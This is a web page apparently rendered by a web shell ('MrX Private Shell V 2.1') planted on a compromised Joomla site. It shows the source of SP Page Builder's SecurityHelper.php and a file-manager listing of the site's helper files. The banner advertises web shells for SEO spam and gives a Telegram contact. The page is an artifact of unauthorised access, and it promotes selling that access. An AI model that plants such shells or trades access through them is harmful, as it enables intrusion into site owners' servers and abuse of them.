__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* @package SP Page Builder
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2025 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\Path;
/** No direct access */
defined('_JEXEC') or die('Restricted access');
final class SecurityHelper
{
public static function isActionableFolder(string $folder)
{
$folder = strtolower(Path::clean($folder));
$parts = explode(DIRECTORY_SEPARATOR, $folder);
$parts = array_filter($parts, function ($part)
{
return !empty($part);
});
$parts = array_values($parts);
if (empty($parts) || !is_array($parts) || count($parts) < 2 || $parts[0] !== 'images')
{
return false;
}
return true;
}
public static function isGetablePath(string $path)
{
$path = strtolower(Path::clean($path));
$pathArray = explode(DIRECTORY_SEPARATOR, $path);
$pathArray = array_filter($pathArray, function ($part)
{
return !empty($part);
});
$pathArray = array_values($pathArray);
if (empty($pathArray) || !is_array($pathArray) || count($pathArray) < 1 || $pathArray[0] !== 'images')
{
return false;
}
return true;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AddonsHelper.php | File | 8.57 KB | 0664 |
|
| ApplicationHelper.php | File | 4.59 KB | 0664 |
|
| EditorUtils.php | File | 6.48 KB | 0664 |
|
| FontHelper.php | File | 3.58 KB | 0664 |
|
| IconHelper.php | File | 3.58 KB | 0664 |
|
| LanguageHelper.php | File | 447 B | 0664 |
|
| SecurityHelper.php | File | 1.19 KB | 0664 |
|